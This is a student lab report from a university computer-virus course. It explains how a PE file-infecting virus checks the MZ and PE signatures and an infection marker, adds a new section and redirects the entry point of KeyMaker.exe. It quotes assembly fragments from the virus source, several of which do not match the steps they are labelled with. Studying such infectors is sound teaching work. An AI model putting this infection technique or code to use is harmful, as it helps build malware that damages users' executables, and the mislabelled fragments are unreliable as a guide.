东华大学计算机病毒PE病毒实验报告
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
计算机病毒实验报告
姓名:
学号:
老师:
日期:
一.PE文件感染实验
一:参照病毒感染PE文件的7个步骤,记录病毒是如何感染文件(文字和截屏形式)
病毒感染文件过程(以感染文件KeyMaker.exe 为例):
重定位,获得所有API地址:
通过软件Stud_PE可查看可执行文件KeyMaker.exe的结构可查看文件内容:1.判断目标文件开始的两个字节是否为“MZ”:
2.判断PE文件标记“PE”:
3.判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续:
4.读取IMAGE_FILE_HEADER的NumberOfSections域,获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节):
5.得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)。
6.得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)
节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移。
7.开始写入节表,感染文件:
二:在掌握Stud_PE工具的基础上,比较文件感染前后有哪些变化。感染前:
感染后:
由上两图可以看出,感染前后有4处发生了变化:
1:PE文件头中入口点:
感染病毒后KeyMaker.exe程序的入口点变成了病毒文件的入口点。2:PointerToRawData域值,即该文件的偏移量发生了变化;
3:imag的大小发生了变化;
4:Number of sections的数量发生了变化。
由.exe文件感染前后变化可知,PE病毒感染过程即在文件中添加一个新节,把病毒代码和病毒执行后返回宿主程序的代码写入新添加的节中,同时修改PE文件头中入口点(AddressOfEntryPoint),使其指向新添加的病毒代码入口。
程序染毒后运行结果:
1:首先执行病毒程序:
2:病毒代码执行完后执行宿主程序:
三:针对病毒源代码,指出与感染PE文件步骤相对应的程序段
1.判断目标文件开始的两个字节是否为“MZ”。
lea eax,[ebx+offset szMsg1]
push eax
call SingleTest
2.判断PE文件标记“PE”。
cmp word ptr [edi],IMAGE_DOS_SIGNATURE
jne PageError
mov esi,edi
add esi,[esi+003ch]
cmp word ptr [esi],IMAGE_NT_SIGNATURE
jne PageError
mov dwReturn,edi
jmp @f
3.判断感染标记,如果已被感染过则跳出继续执行宿主程序,否则继续。
mov ecx,[esi+74h] ;
imul ecx,ecx,8
lea eax,[ecx+esi+78h]
movzx ecx,word ptr[esi+6h]
imul ecx,ecx,28h
add eax,ecx
sub eax,28h
cmp dword ptr[eax],'SI'
je @f
4.获得Data Directory(数据目录)的个数,(每个数据目录信息占8个字节)。
pop esi
add ebx,4
inc edx
cmp edx,[esi].NumberOfNames
jl @b
jmp Error
5.得到节表起始位置。(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)
mov esi,hModule
add esi,[esi + 3ch]
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
6.得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息)
节表起始位置+节的个数*(每个节表占用的字节数28H)=节表的末尾偏移。
mov [ebx+hFile],eax
push 0
push eax
call [ebx+lpGetFileSize]
cmp eax,-1
je CloseFile
mov [ebx+dwFileSize],eax
add eax,1000h
7.开始写入节表
xor eax,eax
sub edi,[ebx+lpMemory]
push eax ;FILE-BEGIN
push eax
push edi
push [ebx+hFile]
call [ebx+lpSetFilePointer]
push [ebx+hFile]
call [ebx+lpSetEndOfFile] 附实验三观察某可执行文件结果截图:
Imports:
Exports:
Dump:
Headers:
SectnTbl:
DebugDir:
Resources: